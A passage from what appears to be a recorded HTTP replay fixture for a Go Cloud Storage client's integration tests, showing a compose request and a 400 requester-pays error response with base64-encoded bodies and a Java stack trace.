"Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Cache-Control": [ - "no-cache, no-store, max-age=0, must-revalidate" - ], - "Content-Length": [ - "742" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:18 GMT" - ], - "Etag": [ - "CKav+N7x/eECEAE=" - ], - "Expires": [ - "Mon, 01 Jan 1990 00:00:00 GMT" - ], - "Pragma": [ - "no-cache" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "success" - ], - "X-Guploader-Upload-Result": [ - "success" - ], - "X-Guploader-Uploadid": [ - "AEnB2Urtn69BB0ytbCZpuCbus4w__tiLeBpqeNzD2gKl5KN2LgP9ZJOIjudGKpDOJRhyW_WQjVOCJBC1CSB_AgE0MdPzVDAKWt13VfQ8aKe3pMWh4y1kOlI" - ] - }, - "Body": "eyJraW5kIjoic3RvcmFnZSNvYmplY3QiLCJpZCI6ImdvLWludGVncmF0aW9uLXRlc3QtMjAxOTA1MDItODA2MzM0MDM0MzIwMTMtMDAwMy9jb21wb3NlLzE1NTY4MzU5MTgwMjY2NjIiLCJzZWxmTGluayI6Imh0dHBzOi8vd3d3Lmdvb2dsZWFwaXMuY29tL3N0b3JhZ2UvdjEvYi9nby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMvby9jb21wb3NlIiwibmFtZSI6ImNvbXBvc2UiLCJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMiLCJnZW5lcmF0aW9uIjoiMTU1NjgzNTkxODAyNjY2MiIsIm1ldGFnZW5lcmF0aW9uIjoiMSIsInRpbWVDcmVhdGVkIjoiMjAxOS0wNS0wMlQyMjoyNToxOC4wMjZaIiwidXBkYXRlZCI6IjIwMTktMDUtMDJUMjI6MjU6MTguMDI2WiIsInN0b3JhZ2VDbGFzcyI6IlNUQU5EQVJEIiwidGltZVN0b3JhZ2VDbGFzc1VwZGF0ZWQiOiIyMDE5LTA1LTAyVDIyOjI1OjE4LjAyNloiLCJzaXplIjoiMTAiLCJtZWRpYUxpbmsiOiJodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbS9kb3dubG9hZC9zdG9yYWdlL3YxL2IvZ28taW50ZWdyYXRpb24tdGVzdC0yMDE5MDUwMi04MDYzMzQwMzQzMjAxMy0wMDAzL28vY29tcG9zZT9nZW5lcmF0aW9uPTE1NTY4MzU5MTgwMjY2NjImYWx0PW1lZGlhIiwiY3JjMzJjIjoiL1JDT2dnPT0iLCJjb21wb25lbnRDb3VudCI6MiwiZXRhZyI6IkNLYXYrTjd4L2VFQ0VBRT0ifQ==" - } - }, - { - "ID": "a21f3ddca57ed424", - "Request": { - "Method": "POST", - "URL": "https://www.googleapis.com/storage/v1/b/go-integration-test-20190502-80633403432013-0003/o/compose/compose?alt=json\u0026prettyPrint=false", - "Header": { - "Accept-Encoding": [ - "gzip" - ], - "Content-Length": [ - "127" - ], - "User-Agent": [ - "google-api-go-client/0.5" - ] - }, - "MediaType": "application/json", - "BodyParts": [ - "eyJkZXN0aW5hdGlvbiI6eyJidWNrZXQiOiJnby1pbnRlZ3JhdGlvbi10ZXN0LTIwMTkwNTAyLTgwNjMzNDAzNDMyMDEzLTAwMDMifSwic291cmNlT2JqZWN0cyI6W3sibmFtZSI6ImZvbyJ9LHsibmFtZSI6ImNvcHkifV19Cg==" - ] - }, - "Response": { - "StatusCode": 400, - "Proto": "HTTP/1.1", - "ProtoMajor": 1, - "ProtoMinor": 1, - "Header": { - "Alt-Svc": [ - "quic=\":443\"; ma=2592000; v=\"46,44,43,39\"" - ], - "Content-Length": [ - "12267" - ], - "Content-Type": [ - "application/json; charset=UTF-8" - ], - "Date": [ - "Thu, 02 May 2019 22:25:18 GMT" - ], - "Server": [ - "UploadServer" - ], - "Vary": [ - "Origin", - "X-Origin" - ], - "X-Guploader-Customer": [ - "apiary_cloudstorage_metadata" - ], - "X-Guploader-Request-Result": [ - "agent_rejected" - ], - "X-Guploader-Upload-Result": [ - "agent_rejected" - ], - "X-Guploader-Uploadid": [ - "AEnB2UrE9jrLJ0W1PUHWT3ldYhVsL9nNhAeFPU2K8g2rCMimty07QlN95esxj7dBAySQ-nzvK17L3WA7vjmxjCpeQADa2bztj6ke8NZjb8fuWkQHsnnzKXA" - ] - }, - "Body": "eyJlcnJvciI6eyJlcnJvcnMiOlt7ImRvbWFpbiI6Imdsb2JhbCIsInJlYXNvbiI6InJlcXVpcmVkIiwibWVzc2FnZSI6IkJ1Y2tldCBpcyByZXF1ZXN0ZXIgcGF5cyBidWNrZXQgYnV0IG5vIHVzZXIgcHJvamVjdCBwcm92aWRlZC4iLCJkZWJ1Z0luZm8iOiJjb20uZ29vZ2xlLm5ldC5ycGMzLlJwY0V4Y2VwdGlvbjogY2xvdWQuYmlnc3RvcmUuUmVzcG9uc2VDb2RlLkVycm9yQ29kZTo6VVNFUl9QUk9KRUNUX01JU1NJTkc6IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50b1JwYzNFeGNlcHRpb24oQmlnc3RvcmVFeGNlcHRpb24uamF2YToxNDcpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uaGFuZGxlcnMub2JqZWN0cy5Db21wb3NlT2JqZWN0LmhhbmRsZVJlcXVlc3RSZWNlaXZlZChDb21wb3NlT2JqZWN0LmphdmE6MTk5KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoUmVxdWVzdEhhbmRsZXIuamF2YTozMTApXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uZnJhbWV3b3JrLlJlcXVlc3RIYW5kbGVyLmhhbmRsZShSZXF1ZXN0SGFuZGxlci5qYXZhOjI1Nilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5PYmplY3RzRGVsZWdhdG9yLmNvbXBvc2UoT2JqZWN0c0RlbGVnYXRvci5qYXZhOjEyNilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uUnBjUmVjZWl2ZXIubGFtYmRhJHByb2Nlc3NSZXF1ZXN0QXN5bmMkNChScGNSZWNlaXZlci5qYXZhOjIwMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5pc29sYXRpb24uQXN5bmNFeGVjdXRvci5sYW1iZGEkc3VibWl0JDAoQXN5bmNFeGVjdXRvci5qYXZhOjI1Mylcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuSW5Db250ZXh0KENvbnRleHRSdW5uYWJsZS5qYXZhOjUwKVxuXHRhdCBjb20uZ29vZ2xlLmNvbW1vbi5jb250ZXh0LkNvbnRleHRSdW5uYWJsZSQxLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozOSlcblx0YXQgaW8uZ3JwYy5Db250ZXh0LnJ1bihDb250ZXh0LmphdmE6NTY1KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuQ3VycmVudENvbnRleHQucnVuSW5Db250ZXh0KEN1cnJlbnRDb250ZXh0LmphdmE6MjA0KVxuXHRhdCBjb20uZ29vZ2xlLnRyYWNpbmcuR2VuZXJpY0NvbnRleHRDYWxsYmFjay5ydW5JbkluaGVyaXRlZENvbnRleHROb1VucmVmKEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo3Milcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0KEdlbmVyaWNDb250ZXh0Q2FsbGJhY2suamF2YTo2NClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUucnVuKENvbnRleHRSdW5uYWJsZS5qYXZhOjM1KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IucnVuV29ya2VyKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjExNDkpXG5cdGF0IGphdmEudXRpbC5jb25jdXJyZW50LlRocmVhZFBvb2xFeGVjdXRvciRXb3JrZXIucnVuKFRocmVhZFBvb2xFeGVjdXRvci5qYXZhOjYyNClcblx0YXQgamF2YS5sYW5nLlRocmVhZC5ydW4oVGhyZWFkLmphdmE6NzQ4KVxuQ2F1c2VkIGJ5OiBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbjogQnVja2V0IGlzIFJlcXVlc3RlciBQYXlzIGJ1Y2tldCBidXQgbm8gYmlsbGluZyBwcm9qZWN0IGlkIHByb3ZpZGVkIGZvciBub24tb3duZXIuXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93T25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMxMilcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udGhyb3dScGMzT25FcnJvcihCaWdzdG9yZUV4Y2VwdGlvbi5qYXZhOjMyMClcblx0Li4uIDE3IG1vcmVcblxuY29tLmdvb2dsZS5hcGkuc2VydmVyLmNvcmUuRmF1bHQ6IEltbXV0YWJsZUVycm9yRGVmaW5pdGlvbntiYXNlPVJFUVVJUkVELCBjYXRlZ29yeT1VU0VSX0VSUk9SLCBjYXVzZT1udWxsLCBkZWJ1Z0luZm89Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGRvbWFpbj1nbG9iYWwsIGV4dGVuZGVkSGVscD1udWxsLCBodHRwSGVhZGVycz17fSwgaHR0cFN0YXR1cz1iYWRSZXF1ZXN0LCBpbnRlcm5hbFJlYXNvbj1SZWFzb257YXJndW1lbnRzPXt9LCBjYXVzZT1udWxsLCBjb2RlPWdkYXRhLkNvcmVFcnJvckRvbWFpbi5SRVFVSVJFRCwgY3JlYXRlZEJ5QmFja2VuZD10cnVlLCBkZWJ1Z01lc3NhZ2U9Y29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG4sIGVycm9yUHJvdG9Db2RlPVJFUVVJUkVELCBlcnJvclByb3RvRG9tYWluPWdkYXRhLkNvcmVFcnJvckRvbWFpbiwgZmlsdGVyZWRNZXNzYWdlPW51bGwsIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgdW5uYW1lZEFyZ3VtZW50cz1bXX0sIGxvY2F0aW9uPW51bGwsIG1lc3NhZ2U9QnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLiwgcmVhc29uPXJlcXVpcmVkLCBycGNDb2RlPTQwMH0gQnVja2V0IGlzIHJlcXVlc3RlciBwYXlzIGJ1Y2tldCBidXQgbm8gdXNlciBwcm9qZWN0IHByb3ZpZGVkLjogY29tLmdvb2dsZS5uZXQucnBjMy5ScGNFeGNlcHRpb246IGNsb3VkLmJpZ3N0b3JlLlJlc3BvbnNlQ29kZS5FcnJvckNvZGU6OlVTRVJfUFJPSkVDVF9NSVNTSU5HOiBCdWNrZXQgaXMgUmVxdWVzdGVyIFBheXMgYnVja2V0IGJ1dCBubyBiaWxsaW5nIHByb2plY3QgaWQgcHJvdmlkZWQgZm9yIG5vbi1vd25lci5cblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb24udG9ScGMzRXhjZXB0aW9uKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MTQ3KVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd1JwYzNPbkVycm9yKEJpZ3N0b3JlRXhjZXB0aW9uLmphdmE6MzIyKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmhhbmRsZXJzLm9iamVjdHMuQ29tcG9zZU9iamVjdC5oYW5kbGVSZXF1ZXN0UmVjZWl2ZWQoQ29tcG9zZU9iamVjdC5qYXZhOjE5OSlcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5oYW5kbGVycy5vYmplY3RzLkNvbXBvc2VPYmplY3QuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKENvbXBvc2VPYmplY3QuamF2YTo0Nylcblx0YXQgY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5hcGkuanNvbi5mcmFtZXdvcmsuUmVxdWVzdEhhbmRsZXIuaGFuZGxlUmVxdWVzdFJlY2VpdmVkKFJlcXVlc3RIYW5kbGVyLmphdmE6MzEwKVxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmFwaS5qc29uLmZyYW1ld29yay5SZXF1ZXN0SGFuZGxlci5oYW5kbGUoUmVxdWVzdEhhbmRsZXIuamF2YToyNTYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuYXBpLmpzb24uT2JqZWN0c0RlbGVnYXRvci5jb21wb3NlKE9iamVjdHNEZWxlZ2F0b3IuamF2YToxMjYpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLlJwY1JlY2VpdmVyLmxhbWJkYSRwcm9jZXNzUmVxdWVzdEFzeW5jJDQoUnBjUmVjZWl2ZXIuamF2YToyMDIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuaXNvbGF0aW9uLkFzeW5jRXhlY3V0b3IubGFtYmRhJHN1Ym1pdCQwKEFzeW5jRXhlY3V0b3IuamF2YToyNTMpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bkluQ29udGV4dChDb250ZXh0UnVubmFibGUuamF2YTo1MClcblx0YXQgY29tLmdvb2dsZS5jb21tb24uY29udGV4dC5Db250ZXh0UnVubmFibGUkMS5ydW4oQ29udGV4dFJ1bm5hYmxlLmphdmE6MzkpXG5cdGF0IGlvLmdycGMuQ29udGV4dC5ydW4oQ29udGV4dC5qYXZhOjU2NSlcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkN1cnJlbnRDb250ZXh0LnJ1bkluQ29udGV4dChDdXJyZW50Q29udGV4dC5qYXZhOjIwNClcblx0YXQgY29tLmdvb2dsZS50cmFjaW5nLkdlbmVyaWNDb250ZXh0Q2FsbGJhY2sucnVuSW5Jbmhlcml0ZWRDb250ZXh0Tm9VbnJlZihHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NzIpXG5cdGF0IGNvbS5nb29nbGUudHJhY2luZy5HZW5lcmljQ29udGV4dENhbGxiYWNrLnJ1bkluSW5oZXJpdGVkQ29udGV4dChHZW5lcmljQ29udGV4dENhbGxiYWNrLmphdmE6NjQpXG5cdGF0IGNvbS5nb29nbGUuY29tbW9uLmNvbnRleHQuQ29udGV4dFJ1bm5hYmxlLnJ1bihDb250ZXh0UnVubmFibGUuamF2YTozNSlcblx0YXQgamF2YS51dGlsLmNvbmN1cnJlbnQuVGhyZWFkUG9vbEV4ZWN1dG9yLnJ1bldvcmtlcihUaHJlYWRQb29sRXhlY3V0b3IuamF2YToxMTQ5KVxuXHRhdCBqYXZhLnV0aWwuY29uY3VycmVudC5UaHJlYWRQb29sRXhlY3V0b3IkV29ya2VyLnJ1bihUaHJlYWRQb29sRXhlY3V0b3IuamF2YTo2MjQpXG5cdGF0IGphdmEubGFuZy5UaHJlYWQucnVuKFRocmVhZC5qYXZhOjc0OClcbkNhdXNlZCBieTogY29tLmdvb2dsZS5jbG91ZC5iaWdzdG9yZS5jb21tb24uQmlnc3RvcmVFeGNlcHRpb246IEJ1Y2tldCBpcyBSZXF1ZXN0ZXIgUGF5cyBidWNrZXQgYnV0IG5vIGJpbGxpbmcgcHJvamVjdCBpZCBwcm92aWRlZCBmb3Igbm9uLW93bmVyLlxuXHRhdCBjb20uZ29vZ2xlLmNsb3VkLmJpZ3N0b3JlLmNvbW1vbi5CaWdzdG9yZUV4Y2VwdGlvbi50aHJvd09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMTIpXG5cdGF0IGNvbS5nb29nbGUuY2xvdWQuYmlnc3RvcmUuY29tbW9uLkJpZ3N0b3JlRXhjZXB0aW9uLnRocm93UnBjM09uRXJyb3IoQmlnc3RvcmVFeGNlcHRpb24uamF2YTozMjApXG5cdC4uLiAxNyBtb3JlXG5cblx0YXQgY29tLmdvb2dsZS5hc